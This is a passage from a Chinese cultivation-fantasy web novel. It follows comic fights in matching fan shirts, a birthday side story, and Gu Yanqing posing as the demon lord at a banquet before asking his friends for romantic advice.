其他合欢宗的人也是一愣,纷纷看向许承晚,毕竟人是他介绍的。 而唐山玉在旁边犹豫了一下,但是他颤抖的手非常实诚地也开始解开身上的衣服,脸色还有点微红,但是他人是兴奋的。 “…等等!你们要做什么!!”这种时候打野战吗?许承晚没想到俩人这样猛,秦兰时就算了,唐山玉这孩子看着也不像是这种人啊。 “哼哼~让你们见识一下,我们的战袍!!”秦兰时衣服一脱,一件有着唐山玉图案的紫色衬衫就那么出现在他身上:“这可是我们俩热血沸腾的组合技啊!” 唐山玉也在这个时候把外袍脱下,露出里面的墨绿色有秦兰时图案的衬衫,他脸还有点红,但是显然也被这种气氛给弄得有些陶醉了。 如果许承晚在现代,他一定会知道这是什么衣服,这只是一件普通的痛衣,但是被俩人这么组合一穿,那种神经又秀恩爱的感觉就会轻而易举地涌上人们的心头。 “山玉!来吧,我们的情意绵绵双人组合剑~”虽然剑招还没想好,不过先喊了再说,于是秦兰时对唐山玉自信地伸出手。 唐山玉握住了秦兰时的手,可他的脸却越来越红了,但是这种突破自己的感觉又是如此美妙,让人欲罢不能啊。 许承晚:…… 合欢宗其他人:…… 他们瞬间接受了这俩人是神经病的事。 合欢宗一向是比其他宗门要博爱得多的,有人甚至还说这种衣服好像还挺好看的。 许承晚张了张嘴,然后又闭上,因为他在想,这种衣服要是弄出和修炼对象那款的,是不是就能和修炼对象玩一次愉快的s与m的那些事。 唐山玉和秦兰时还在穿着战袍手拉手地打魔物,你用剑刺一下,下一剑就我来,配合打得很好,而且那魔物不知道为什么在这种光芒下气势越来越弱了。 最后,魔物战败了,光荣地倒在了这片光芒下。 秦兰时得意洋洋地举起唐山玉的手,宣告了这一场的胜利,而唐山玉因为突破完了自己,所以正处于沉默寡言的状态,不过他已经顿悟成功了。 “走吧~”秦兰时满意地穿回衣服,顺便帮唐山玉也穿上,方才的战斗真是酣畅淋漓且让人着迷啊。 “你们怎么还穿上?”许承晚不解。 “因为我要以后战斗的时候再脱一次!!这样才有那种震撼人心的感觉。”秦兰时甚是喜悦,这种万众瞩目的感觉真是好极了。 唐山玉还在与羞耻战斗,先是自己为什么真的答应这样做了,后又觉得这种感觉又格外地迷人,他就这样心说不行但是手却实诚,因为那是他逝去已久的发癫。 是啊,他们一开始不是走沙雕搞笑风的吗? …… 唐山玉摸了摸自己的乾坤袋,里头装了两件衣服,是顾延清与谢璟版本的,至于为什么有,是因为秦兰时想逼迫这俩人穿弄的。 而唐山玉也很想看,于是他笑容温和地将其收起来了,那么一想,他真是个大好人啊。 不管怎么样,大伙们终于再度走上了去痴梦渊的路。 不过现在的顾延清和谢璟怎么样了呢? 与此同时的痴梦渊—— 顾延清正坐在座位上,他戴着恶鬼面具,手拿酒杯,坐姿挺拔,但是细看下身体有那么一丝僵硬,而他的身边坐着五魔主段明野,段明野正笑着与他说话: “没想到这宴会魔尊大人那么给面子来了,那我可要好好照顾魔尊大人才是啊,来人,倒酒倒酒~” 此刻的顾延清当上魔尊了。 至于谢璟,他并没有在顾延清的身边,那么他又在哪里了呢? 敬请期待下回分解~ 山玉·我说,你就该笑 (ps:本作请搭配我们不是师徒番外一起看) 魔域里实在是没有什么好东西,唐山玉和秦兰时俩人碰巧过来这里闲逛,他们左逛逛右闯闯,什么好玩都没有找到,最后是秦兰时提议先歇息一会儿,正好这里是魔域里头难得出现的水源,一个看上去要干不干的湖。 唐山玉顺着他的话应下了,并且悄咪咪看了一眼秦兰时,托秦兰时这些年来的偏爱和照顾,所以唐山玉也就记得了今日是什么时候。 今日是他的生辰。 而提出要一起出来的也是秦兰时,所以唐山玉想着人可能准备好了惊喜,就心里美滋滋表面上淡定地跟着出来了。 道侣要准备惊喜,他当然期待了。 所以唐山玉一路上都没有问惊喜是什么,只是一味地跟着对方的节奏走,现在秦兰时说要离开一下,他当然也同意了。 在看着秦兰时离去的背影时,唐山玉就无聊地拿出一颗石子丢进水里,那泛起的涟漪将他于水中的倒影一一击碎,而后,待水面平静的时候,唐山玉发现自己身后多了一道影子。 这道身影是谁根本不用细想。 于是唐山玉转头对人笑道:“你回来了?” 而那人因为他这笑容愣了一下。 唐山玉不知道他愣什么,难不成是担心自己准备的惊喜被发现,还是自己看上去太淡定了,好像什么都知道那样。 于是唐山玉收起了一点笑容,他很是自然地凑过去,拉住人的手腕上下晃了几下:“哎呀,亲爱的,你去哪里了,怎么那么久才回来?” 这时候,唐山玉才发现回来的秦兰时好像有点不一样的地方,哦,好像气质偏忧郁了,高马尾也不束了,这披头散发的好像男鬼似的。 秦兰时低头看了一眼握住自己的那只手,开口道:“去解决点事情……你在等我?” “我不等你还能等谁?”唐山玉不解,但是转念一想,这莫不是对方的惊喜py,于是他配合地说道:“好啦,接下来我们要去哪里?” “…去……”秦兰时张了张嘴,要说什么,可他却居然有些词穷,唐山玉见此就想难不成是惊喜太不好意思了,什么惊喜居然让秦兰时不好意思到这种地步了吗? “那我们先走这里逛逛?”唐山玉非常体贴地提议着,既然不好意思那就好好做心理建设吧,你看他还给人留时间呢。 “……好。”秦兰时闻言就垂眸默了一会儿,而后,他轻轻地点了点头,这忧郁的小模样让唐山玉有些困惑,难不成这人最近走忧郁风吗? 既如此,自己那就积极点吧。 唐山玉的手顺着秦兰时的手腕而下,而后握住了人的手,他感觉到这人的片刻僵硬,这让唐山玉更加疑惑了,但是秦兰时有前科,在他生辰的时候表现得极为清纯害羞,和他欲擒故纵了快一天才把惊喜礼物拿出来。 不为别的,这人出去一趟,回来人就走忧郁风了,一看就是戏精上头开始演了。 不过魔域真的没什么好看的,湖周围是有些树木,而且看着都有些光秃,它们那么努力地活着实属不易啊。 走了一会儿后,唐山玉发现这个过程都是他发起话题,而秦兰时愣愣的时不时嗯一声,又或者没应他,搞得唐山玉很想撬开人的脑瓜子看看到底藏了什么惊喜计划。 男人,我倒要看看你要欲擒故纵多久。 怀着这个心思,唐山玉也就配合着他演下去,就在这个时候,唐山玉一脚踩在旁边的藤蔓上,那藤蔓突地顺着他的脚往上爬去,并且死死捆住了唐山玉的左手和双脚,至于唐山玉的右手因为和秦兰时牵着手所以无事发生。 “哎?哎?救,救一下。”唐山玉挣扎地动了动,发现没挣脱,于是先心安理得地对秦兰时伸出手:“快,用剑斩一下。” “…我没剑。”秦兰时低下头看了这人一眼,因为对方握住自己的手力道过大,他一时之间没有挣脱开来:“还有,我为什么要救你……” 还没等秦兰时说完,唐山玉怒了一下,直接用力把人扯过来,让彼此的距离更近些:“秦兰时,就算你再怎么想准备我的生辰惊喜都好,也要分时候演啊……” “我疼了。”说完,唐山玉理直气壮地等人来解救他,顺便一提,他觉得这次欲擒故纵得有些过了,唐山玉心里难得有些许急躁,虽然他一向情绪很稳定,但看着这样的秦兰时却不知怎的就是开心不起来。 “……嗯。”秦兰时点了点头,只不过他还是没有拿出剑,而是直接将手搭在藤蔓上,看着那藤蔓在他手掌心里彻底枯萎,枯萎后的藤蔓也就松了下来,唐山玉也从里头挣脱出来。 唐山玉看了看自己的手腕有些发红,直接展现给秦兰时看,语气里满是责怪:“你看,你现在都不心疼我了。” “……”秦兰时又是一阵哑然,他抬起手握住那手腕,感受着脉搏在其下的轻颤,还有那一折就断的脆骨,不知为何,他轻轻叹了一句:“太弱了。” “…?你嫌弃我?”唐山玉怒了一下,这人还在装忧郁吗? “…不。”秦兰时摇了摇头,而是露出那一抹有些无奈的笑:“在这里,你没了我,那该怎么办呢?” “我本来就不能没有你。”唐山玉很是困惑,不过既然话已经说开了,他就伸手过去道:“生辰礼物,给我。” “…生辰礼物?”秦兰时一顿,而后松开那握着的手腕,与人道:“先回去,我过会给你。” “…别绷着个脸了,不知道还以为我欺负你了呢。”说着,秦兰时转身对着人的脑袋就是一弹,露出难得温柔的笑容。 “…喂?”唐山玉一怒之下,就怒了一下,然后乖乖跟着回去了。 俩人再次回到了湖边,秦兰时看了看这湖,然后转头与人道:“你先在这里等我一会儿。” “好——”唐山玉乖巧地应是,然后就是大大咧咧一坐,刚好,他要揉揉方才被捆的双腿。 这次秦兰时应该是要去拿礼物了。 于是唐山玉继续等着,就和往常一样,就在这时候,他感觉到一阵风轻拂着脸庞而过,他看到湖边似是长出了新芽,那让人惊喜的嫩绿正开始焕发着生机。 而后,有人来到了他的身后,并且将什么放在他的头顶上,轻飘飘的,还有些痒痒枝条。 “山玉。”秦兰时的笑声自后边传来,这样的笑声让唐山玉在心里小小地松了口气,紧接着,他也笑着转头看去。 顷刻间,那湖边的遍地绿色里长出了绚烂的五色花,它的每一朵花瓣颜色都不一样,它们往外蔓延了去,将这抹生机带去了四周,就连那枯木都随之焕发出了新绿。 唐山玉那头顶的花环正随着这抹新绿的风轻轻晃动着。 而在这片繁花里,千万朵花的纷飞里,秦兰时低下头,无比温柔地轻吻了唐山玉。 并且笑着开口了。 “生辰快乐。” …… 而在这千万朵花里总有些缘分是遗憾,这份遗憾会在未来逐渐变得清晰,让人无法忽视,会让人总是回想着,如果当初是在最好的时间点,遇到正确的人该有多好。 秦兰时再次回到了湖边,他看到了正在等待他的唐山玉,不知为何,他有些不好意思地往背后藏了藏要送的礼物。 “…前辈?你回来了?”唐山玉在那里转头看他,他老早就听到了脚步声了,再加上对方压根没有掩饰自己行踪的意思。 “…嗯,回来了。”见人没有对他笑,秦兰时抿一下唇,而后他走上去,随着他的走动下,那袖口间滴落的血于地上绽放。 唐山玉见此一顿,问:“前辈这是去做了什么?” 怎么突然受伤了。 “给你。”秦兰时拿出刚才他特地去采摘的花,这花瓣居然是火形成的花瓣,而它正在剧烈燃烧着,在花的中心,有一颗流血的心脏在不停地跳动着,而花将秦兰时的手掌都烫伤,那流下的血正一点点地坠落在脏兮兮的土地里。 “…谢谢。”唐山玉一看就知道这个花对他的修炼有好处,毕竟他是火灵根,只是他不知道为什么秦兰时会突然给他找花过来。 秦兰时见人还是没有笑,顿了顿,居然有一瞬间想着干脆把花塞人手里就走算了,可想到这里,又有点不甘,于是他努力地想了一下,又想起些什么。 “生辰快乐,这是给你的生辰礼物。” 唐山玉一愣,而后他怔怔地伸出手去接那花,因为火灵根的缘故,所以唐山玉只是觉得这花有些热,很热很热,像要直直烫到心里去了那般。 “谢谢。”唐山玉张了张嘴,有些词穷,他不知道对方是什么时候知道自己的生辰,可他也的确好久没有过过生辰了,要不是秦兰时说起来,他也不会知道,今日就是自己的生辰 最后,唐山玉对秦兰时露出温柔又感激的笑容,并且特地凑近些讨好地说:“真的,非常谢谢你,前辈,我很高兴,真的。” “……还是笑起来好看。”秦兰时低声嘟囔了一句,而后他低头看向自己那被烫得流血的掌心,上面的伤口渐渐愈合,不过那曾经流过的血还残存着。 “什么?”唐山玉一时没有听清,他现在满是自己来到修仙界那么久,除了曾经的父母外,时隔几百年,居然在这个魔主收到久违的生辰礼物。 “我说,你就该笑。”秦兰时放下手,用满不在意的语气说道:“走了,还是说,你要自己一个人在这里,被不知道哪里来的魔物吃掉?” “啊,当然不,等等我。”唐山玉哪能放过这个大腿,于是他见秦兰时背对着他就开始往外头走去,他连忙跟上去:“前辈,你的生辰是什么时候啊?” “忘记了。” “是真的忘记了还是不愿意说,你就和我说说嘛?我日后给你过生辰啊!” “……” 不管怎么样,人啊,就应该笑着过生辰。 第321章 痴梦渊 手上的酒是不敢动的。 人是端坐着且一言不发的。 顾延清听着旁边的魔主段明野对他输出着一系列讨好般的话语,面具底下的神情是冷漠的,而这冷漠在段明野喊一个美人轻盈地坐在他身边更甚。 “魔尊大人……”那美人身骨甚柔,吐气如兰,手拿着酒壶凑过来,倾身为之倒酒,那倾落衣着里的风光让顾延清移开了视线。 “大人怎么不理奴,是奴惹大人生气了吗?”这美人见顾延清淡淡的模样,心中有些许担忧,并且小心翼翼地看了一眼在旁边的段明野。 “…没……”顾延清刚想说什么,但是一想起自己的身份,那礼貌的话语到了嘴边又缓缓咽下。 “大人……?”美人见人突然不开口,心里越发地忐忑起来了。 事情为何会发生到如此的境地呢? 顾延清看着手中酒杯,酒中倒影映着的是他戴着这恶鬼面具的自己,而思绪也逐渐回到了他与谢璟刚入痴梦渊的时候。 顾延清和谢璟穿着严实地来到了痴梦渊,在那之前,他们来到了一处悬崖那,先是从悬崖的阶梯上往下走,而后,顾延清就看着谢璟带他来到了一处自上而下奔腾而来的瀑布,高空的水花漫天落下,随着灵力的化散,俩人的衣袖都未曾沾染半分落水。 随后,谢璟抬起手,将那万千水珠里的一颗收于手中,用魔气包裹起来,随后蓄着力往瀑布中心丢去,那抹裹着魔气的水珠轻盈地穿过那层厚厚的瀑布,掀起那流动的水帘,给俩人露出里面长长的一条道路。 “走吧。”谢璟收起手,而后抬手给自己化容,一张陌生平凡的脸就那么出现在他身上。 顾延清见此也给自己化了容,跟上谢璟的步伐,俩人一前一后地在这条道上走了一会儿,一只不知何处而来的深蓝色蝴蝶在俩人面前闪烁着微光,正翩翩起舞着,身上撒落的蓝粉将他们脚下的道路所点亮。 原来不知何时,他们脚下的路已经抵达了水边,洞口深处有一深潭,里头的水被蓝粉点亮,往外延伸了去,而后一朵朵晶莹剔透的荷叶自水里浮出,滚动的水珠跳跃着稀碎的光点。 谢璟抬起手,让那蝴蝶落于自己的指尖,他身上的白衣被这里的清蓝映得有些剔透,而面容的冷然却让人不由得心里一紧,只觉得这人似乎下一刻就会被那沉默的水所包裹了去,无法再次呼吸。 而顾延清看到这一幕有些微愣,他下意识地伸出手去触碰谢璟垂下的指尖,在感知到那抹温热后,心中的紧绷感也渐渐落下些许。 “怎么了?”谢璟在感觉到那细微的触碰后转过身来看顾延清。 “…无事。”顾延清垂下头,而后看着他所触碰到的指尖,心里想了一下,就轻轻地用指尖勾住对方。 谢璟浑身一僵,他没有想到人还想着凑上来,几个意思,他先前拒绝得不明显吗?而且做了那些事后人还一直没回神,后边他试探凑近些顾延清都好像被惊动了一下,浑身僵硬着,视线飘到不知道哪里去。 虽然达成了谢璟想要的效果,但是内心的确堵堵的,不过谢璟却没有让人不这样,不如说除了堵堵外,心里有一种这样才对的畅快与悲哀。 可现在…… 就在谢璟想要缩手的时候,顾延清再接再厉,就直接握上了。 谢璟沉默了一会儿后,没有回握,而是就着这力道,带着人走上那荷叶,落地感受到的是略寒的触感,就算隔着鞋面也能感觉到其寒意。 一朵,两朵,待俩人牵着手走过这水中轻荷后,那巨大的冰蓝水莲浮出水面,谢璟见此就带着人走了进去。 待站稳后,那莲花轻轻地合上来,将俩人包裹了起来,而后,悄然地沉入了水中。 而在里头,花瓣肉眼可见地逐渐由蓝变作了红,很快,等它再度绽放的时候,外头的光景已然变了个样,而这水中梦无论何处都透露着光鲜亮丽,明亮的灯,醉人的香,温柔贴心的嬉笑语,如此的让人陶醉,当真应着那名字——痴梦渊。 千万以明石雕刻成的花绽放于城中,那易碎的花好似一场缥缈的梦,这里的花明明没有花香,可看着这光景却好似嗅到了那般,浓郁得醉人。 “…阿……”顾延清看了看这里,想要开口喊人名字的时候,就被谢璟转身用食指抵住了嘴。 “换个称呼。”谢璟收回去,然后低头看了一眼另一只被顾延清握住的手,他扯了扯自己的手,成功把自己的手从顾延清手里扯回来了。 “……”顾延清沉默了一下。 “怎么?”谢璟见人沉默,问道。 “…不知道换什么。”顾延清停顿了一下,应道。 “这个简单。”谢璟打了个响指,然后说:“喊我谢二就行,还是说……” 那半句话后的内容,谢璟并不直接说出来,而是含笑地凑过去,于这人耳边低语,并且手轻轻地抚上了顾延清的腰间:“你要喊我……夫君?” 几乎是谢璟抚上去的那一刻,顾延清浑身都绷紧了起来,他不可避免地想起那天的事,一想到那天的事,他整个人就有点无法直视谢璟,尤其是这人的说话时候那微动的唇。 “…不,不了,于…于礼不合,你我并未结为……”顾延清往后退了一步,说话的时候居然有些结巴。 “怎么不合,你我也算有有道侣之实了。”谢璟继续说着,并且还冲人温柔地笑了一下,虽面容不同,那眼里透露出的温度却让顾延清感觉到熟悉。 “…我……”顾延清想了想,这话好像也对,无论如何,既然决定亲吻对方,那就一定要负起责任才是。 于是就在他要同意的时候,谢璟往后退了一步,故作无辜地摊手说:“逗你的,好啦,叫我谢二就行。” “…那你喊我什么?”顾延清在人离去后,只觉得那抹火轻飘飘地远离了自己,怅然若失间,他便顺着这个话题继续问道。 “懒得给你想名字了。”谢璟听到这话想了一下,转头就朝前方走去:“我就喊你哥好了。” “……”顾延清跟上去,听到这话,他一时半会不知说什么,虽为大师兄多年,但是没人怎么喊过他哥,秦兰时以前偶尔会喊喊,其他人都是喊大师兄,所以谢璟这一声哥倒是让顾延清不会回了。 “啊。”而谢璟走着似乎看到了什么停住了脚步,眉头轻挑,而后,他转身对顾延清笑着道:“哥,帮我个忙?” “什么忙?”嘴比脑子快的顾延清就这样应着,应完后脑子里都是谢璟方才那一声哥。 “就是……”谢璟笑了一下,拉着顾延清来到了一个无人在意角落里,然后拿出了一张恶鬼面具和一朵白花:“替我去赴一场宴。” “以魔尊谢璟的身份。” 恶鬼面具被谢璟亲手戴在了顾延清的脸上,这张面具应当与顾延清不合的,但在人戴上后,那里头的凶气却丝毫不减。 “…我替你去?”顾延清显然一愣,他没有想到是这个忙。 “对啊,本来这次我是想亲自去看看的,不过我刚刚发现我还有点事需要处理,所以,你替我去吧,放心,只是普通的招待宴,魔尊亲临,魔主怎么能不好好接待一番呢?” “…你要去做什么?”能告诉我吗? “…你替我去吧?好吗?”谢璟没有回答顾延清想要的知道的问题,而是继续问他:“你要是去了,我可以……” 接下来的话全在顾延清耳边低语,而后,顾延清的耳朵很快就变成了如滴血般的红。 “你……?”顾延清连连后退。 “不喜欢?”谢璟见人后退,摆手道:“那我再去学学?” “…去哪里学?”顾延清听到这话立马看了过来。 “当然是……”谢璟特地停顿了一下,然后说:“在话本子里学的啊。” “……不必,我替你去,你没必要如此……”顾延清摇了摇头,接过谢璟手上那还未递出去的花:“你…若是不想说可以不说,没必要……” 没必要非要用玩笑话糊弄过去。 顾延清发现了,谢璟在遇到不想说的事情时,都会对他笑,并且笑着转移话题,并且话题的内容也的确……很能够让人转移话题。 不过称呼方面,顾延清却是没有想通谢璟为何要特地逗弄他一番。 谢璟自是听出顾延清那潜藏的意思,他收起了笑容,直勾勾地看着顾延清,也不知在想些什么,而顾延清则抬手正了正这恶鬼面具。 “我要如何去赴宴?”顾延清问道。 谢璟听到此话,就让顾延清举起手里的花,而后,在顾延清没有反应过来的时候,抬起手在自己的掌心割了一个口子,血至伤口缓缓流下,然后滴落在顾延清掌心的白花上。 花瓣瞬间被染红,其余下的血则顺着顾延清的指间缝隙里流动而下。 血也是温热的。 待顾延清抬起头看去,身前谢璟已然不见了踪迹,而与此同时,那魔主段明野似是感知到了什么,让人速速过来接待魔尊。 所以在谢璟离开后不到几息里,那接待的人就来到了顾延清的面前。 “魔尊大人难得亲临此地,我们魔主大人有请。”那魔族跪于顾延清身前,恭恭敬敬地道。 顾延清轻握了一下手上的血花,指尖的粘稠与腥味让人无法忽视,随后,他淡淡地用法术模仿出了谢璟的声线道:“嗯,知道了。” 不知为何,过来接待的魔族感觉到这魔尊大人周身的气压好像在方才变得压抑了不少。 …… 不管怎么样,此刻的唐山玉和秦兰时还在来的路上穿着痛衣甜蜜双排打怪中。 第322章 你是不是…… “流月明明,倾照我心。” 指尖流动的音跃动着此间,琴弦如流水般缓游,女子垂眸唱着歌儿,宛转悠扬,轻风过耳,宛若浅色碎花流落泉间。 “万丈红梅,千绽梨雪。” 一女子身上布着红绸,舞动袖起时,似有千万红纱缠风动,灯盏金辉映落地,腕间金玉明如月,足尖轻点吻流霜。 “扶摇作舞,动谁心弦。” 顾延清坐于台上,面具遮掩住他的容貌,凶气十足的恶鬼面上却让人觉出几分清冷意,手持酒杯不动,而在身旁服侍的女子有些许颤意,不知是何处得罪了这位安静的魔尊大人。 “寻上万里,求落苍渊。” “魔尊大人可是有什么不满?”段明野见这魔尊沉默无言,继续维持着面上的笑容,只不过其笑容里带着几分阴森:“是这女子惹恼了您?那我这就让人把她带下去,莫要脏了您的眼。” “不必。”顾延清看了那脸色煞白的女子一眼,摇头道。 “既然您这样说了,那就算了……魔尊大人难得过来,是要在我痴梦渊里玩上个七天七夜吗?我可以给您推荐哦?”段明野不知魔尊过来要干嘛,但是他可以让人去好好地玩乐一番,话音刚落,那旁边的女子也剥好了葡萄,将那晶莹的果肉喂给了他,而他也低头吃下了。 “……”顾延清很想说不用,但是想起谢璟似乎要多待一会儿,于是话到嘴边又咽下,变成了:“嗯,我看着办。” “魔尊大人您今日有些少言少语呢,怎么,心情不好过来我这里发泄来了?行吧行吧,记得不要乱来喔,我这里有些宝贝还挺贵的。”段明野说着,揽住旁边女子的腰,倾身于其脸上落了一吻:“比如,我这些珍贵的美人儿~” 顾延清看了一眼,什么也没说。 而服侍顾延清的美人小心翼翼地给顾延清剥果子,她不敢喂,而是放在盘里,摆得漂漂亮亮地递过去给人。 “不用。”顾延清抬手止住了前进的盘子,轻摇头:“我不吃。” “这也不要,那也不要,魔尊大人,你想做什么呢?”段明野见这人过来参加宴会闷声不吭就算了,怎么拒绝来拒绝去,就是不动他宴会上的东西,哦,这东西包括人。 “……”顾延清淡淡瞥了人一眼,他依旧没有回答人,只不过他已经放下了酒杯,样子都不做了。 段明野见此挑了挑眉,无他,今日这个魔尊沉默得有些过了,按理说他这样说话,谢璟早就毫不客气地冷冷怼回来了,不过他也不恼,毕竟对方是魔尊嘛。 既然都当魔尊了,给对方一点魔尊应有的面子也不是不行。 “既然这样,你觉得我这个宴会怎么样?评价一下?”段明野见人依旧沉默,就选择再度开口活跃气氛。 “…词不错。”顾延清沉默了一下,然后在这片刻的沉默里,他找出了这个宴会可以夸赞的地方了。 “哦?我也觉得它很不错。”段明野笑吟吟地点了点头,然后说:“刚好,我准备将这曲子放在赏花宴上,届时,魔尊大人会赏脸过来吗?” “……看心情。”顾延清觉得自己答应还是不答应都不对,于是他回了一个棱模两可的答案。 段明野闻言也没继续问,而是让人继续倒酒作乐,丝竹管弦齐奏,在女子们的嬉笑声里,男子们的朗笑讨好下,这场宴会就那么结束了。 而结束了宴会的顾延清只觉得这宴会比他先前参加的都要累,可能是道德观一直在被自由的魔族们狠狠冲击的缘故,而且他还要假装看不见。 一想到谢璟可能一直在看这种宴会,顾延清大概明白人为什么那么会了………所以,阿璟有参与进来吗? 这个念头出现一下就消失了。 慢慢地,顾延清便将那恶鬼面具拨开,戴于侧方,露出那清冷的双眸,眼底映着外头那逐渐暗下的微光。 “怎么了?”谢璟出现在了他的身后,有些困惑地在他面前晃了晃手:“回神了,怎么发呆了,宴会参加得怎么样?” “…嗯,还好,你去做什么了?”顾延清回过神来,现在他正坐在与谢璟约好的客栈房间里头,如今外头的灯火逐渐暗下了不少,像是在模仿着凡界的昼夜更替,这好似让魔域也拥有了白天与黑夜。 “没有做什么……”谢璟张嘴就是敷衍,可他话还没说完,就被突然站起来的顾延清握住了手腕。 指尖顺着那腕间地袖口往下探去,袖口随着力道一松,而后露出里头不知何时显现而出的魔纹。 “为何…还有?不是已经退去了吗?”顾延清紧盯着那魔纹,转头就去看谢璟的神情:“骗我?” “…没有。”谢璟想说自己真没骗人,至于这个魔纹为什么又出来了,主要还是他今日去吃了点其他东西导致的:“我只是稍微吃了点灵丹妙药,导致魔气有些狂乱而已。” “……”顾延清对此没有说什么,只是握住那手腕的力道又大了些许。 “…松手。”谢璟见人不说话,只是一味地抓他的手,他用力扯了扯,想要扯出来,但发现对方不让:“…喂,松一下……” 突地,顾延清使了些力,将谢璟拉了过来,而后就拉着人往旁边的床榻那走去,再将人往床上推了去,接着便倾身而上。 谢璟整个人倒在柔软的被褥间都是懵的,而后,在人倾过来的时候,他不由得往后退了去,可后边哪有退路呢。 “……你?”那道黑影笼于自己身上,呼吸也再次于彼此间越演越烈,宛若一朵星火落在了那堆枯草里,燃烧而起。 “那,如果我愿意答应你这件事,那你是不是会……给我?”顾延清哑着声,双手撑于谢璟的上方,他低下头,看着眼前这个少年,他如今已然没有当初的炽热,留下的是尚在燃烧的灰烬:“把你的信任给我,告诉我…我能为你做什么?我不想等……” 也不愿意,也不能再等了。 他现在还不知道谢璟的身体情况……他想要知道到底发生了什么,再等下去…… 顾延清想到这里一顿,就伸出手去解谢璟衣领处的,决然地开始解之。 …… “师父,这个地儿太危险了。”唐山玉跟在秦兰时旁边,无比严肃地摸了摸用作伪装的胡子。 “为师也是这般想的。”秦兰时点了点头,然后也严肃地摸了摸自己伪装用的胡子:“毕竟……” “这里连老头都不放过。”唐山玉冷静地抱住秦兰时的胳膊,熟练地用另一只手推开要凑上来的魔族。 秦兰时也无比谨慎地抱住唐山玉的胳膊,然后艰难地在万花丛中路过,并且还对那些凑上来的魔族说:“别,别过来,不然我不客气了!” 至于许承晚和合欢宗等人,已经人手抱着一个,自信地走在这痴梦渊里,他看了一眼防得紧张的师徒俩人,摇了摇头:“人,还是自由点好啊。” “你不懂,我们这是纯爱。”秦兰时对许承晚翻了个白眼,然后和唐山玉一起艰难地行走在痴梦渊里,俩人为了彼此的清白互相搀扶着。 “师父,你眼前又有一个要扑过来的。”唐山玉很是冷漠地指了指前面。 秦兰时大惊失色,然后带着唐山玉往旁边躲开了,而后他拍了拍胸口说:“我先前过来的时间,也没有那么夸张啊,这段时间他们是饿坏了吗?” “是不是因为那个宴会要来了,所以他们想提前庆祝?”唐山玉再次检查一下自己的衣着,非常保守,一看就不容易被扯掉,然后就满意地收回视线。 “可能吧,哎呀,我们先去我那渊行楼的地儿。”秦兰时在悄声说到后半句的时候给大家都传了个音。 “好啊~”许承晚无奈与一个美人告别了,其他合欢宗等人也恋恋不舍地松手了。 不得不说,这合欢宗真的是种族不忌。 在某种意义上,当真是最最公平的宗门。 总之,众人努力地过去了,在渊行楼某个客栈的门缓缓关上之时,他们都不由得松口气,秦兰时和唐山玉是因为清白,合欢宗等人是因为终于到了安全地了。 虽然他们对魔族搂搂抱抱,但是也不代表他们真的会就这样安心地去修炼啊。 “哎,几位是要?”掌柜的小跑过来,然后接住了秦兰时丢过来的令牌,他一看就笑着道:“上好的房间都为几位准备好了。” “对啦,大人,还有另一位大人也在客栈里,你们要不要……?” “还有谁?”秦兰时想了想大概明白是谁了:“是和我一样写着个一字的令牌?” “是的是的。”掌柜笑着点头。 “他来了多久了?”秦兰时有些好奇地问道。 “那位大人才来了几天。”掌柜笑嘻嘻地答道。 “明白了,我待会就过去看看。”秦兰时点点头,就揽着唐山玉往楼上走去,然后喜气洋洋地去看看他们的大房间,不得不说,房间的布置很花里胡哨,但是也怪好看的。 “山玉——我们先一起沐浴——”秦兰时手脚变成面条状上下扭动着,而这扭动手脚正是冲着唐山玉过去的。 哐当。 房间的窗户被人从外边打开了。 只见顾延清从窗户那里爬进来,他的神色非常凝重,好似有什么难题困扰了他许久,而接下来的话有一种终于能够询问的快意:“你们终于来了。” 唐山玉:…? 秦兰时:?? “你那么期待做什么?”秦兰时想着他们师兄弟之间也没有分离焦虑到这种地步啊,随后,他转头看向唐山玉:“你……? “顾师伯,你先从窗台上下来。”唐山玉看着这人一直蹲在窗口那,便让人赶紧下来,不然总觉得他会幻视窗外淋雨狗。 还没等唐山玉想明白这种既视感哪里来的时候,顾延清就从窗台上下来了,他看着很明显亲昵的俩人,不由得想起先前他把谢璟压上床的事情来。 那个时候,顾延清压着人在床上,带着心里的迫切和不安,伸出手就去解谢璟衣领上的扣子,但不知怎么的……… 他解个扣子解了半天,指尖微颤着,等终于解到第三个的时候,谢璟伸出手握住了顾延清的手腕,微微拉开后就抬起头,露出那种无奈神情: “顾延清。” 顾延清顿了顿,没再动作了。 而接下来的话让他石化在了原地。 “说实话,你是不是不行?” 第323章 记得敲门敲窗再进来 你是不是不行? 这句话回荡在顾延清的脑海里,这也让人接下来的动作一顿,而后谢璟抬起手勾住人的脖子,就那么把人送了上去。 唇齿相依纠缠着,眼见得俩人之间的氛围逐渐旖旎流转,黏糊间,是谢璟先松口,他轻喘着气,指尖自顾延清的后颈那滑至前方,抚一下这人滚动的喉结便落下。 紧接着,谢璟一个用力间,就扶着顾延清的脑袋,让人也往床上倒去,俩人侧躺在一起,面对面的,被褥间逐生烫意。 “…睡吧。”谢璟的手那顺着顾延清的青丝滑落,离去时还轻轻勾了几许青丝,无声的雪在此刻好似离去了照着它的月。 顾延清没有睡,他只是安静地看着谢璟闭上眼,那倦意都染在了眉眼处,呼吸轻缓着,悄无声息逃走的岁月已然不能再回来了。 此后的几天,他们好似什么也没发生那般相处着,在此期间,谢璟时不时出去又回来,身上的气息也多了些许暴乱之意,可人看上去却平静得很。 顾延清很是担忧,但他却问不出来什么,每当要问的时候,谢璟都会敷衍过去,或者用其他方式让他转移注意力。 “所以,我是想问问你们,这种时候应该怎么办?”顾延清实在是没有招了,所以只能寻求帮助,而他也终于等到了秦兰时和唐山玉俩人抵达了痴梦渊。 “当然是——强制爱!!”秦兰时果断握拳,发出最开心的一声,他家师兄这千年老树终于开花了,实在是太让人兴奋了。 “放着先不管,暗地里调查,然后查到什么的时候,就找个其他事由生气逼问一下,最好让对方感觉到理亏。”唐山玉淡淡地提议着,并且还不经意地抬手勾了勾自己那还没恢复的白发:“必要时候,苦肉计也不是不可以。” “山玉,你刚刚好像说了什么不得了的话。”秦兰时默默地看了过去。 “有吗?”唐山玉放下手,无辜地看了回去。 “这招我好像在哪里见过啊……”秦兰时的眼神逐渐危险了起来。 “不好用我才不会给顾师伯介绍呢,倒是你……”唐山玉叹了口气,说道:“你当初要是强制爱我,我们也不至于分别那么久。” 很好,这下子,秦兰时不敢幽怨了,他只敢心虚了。 “……”顾延清看着俩人的视线又开始浓情蜜意起来了,不由得沉默了一下,随后问:“所以,我应该用哪个方法…?” “强制爱吧,强制爱值得你拥有~”秦兰时在搞事方面是积极的,就比如现在。 “…阿璟不愿,我怎能……”顾延清听到这话轻轻摇头。 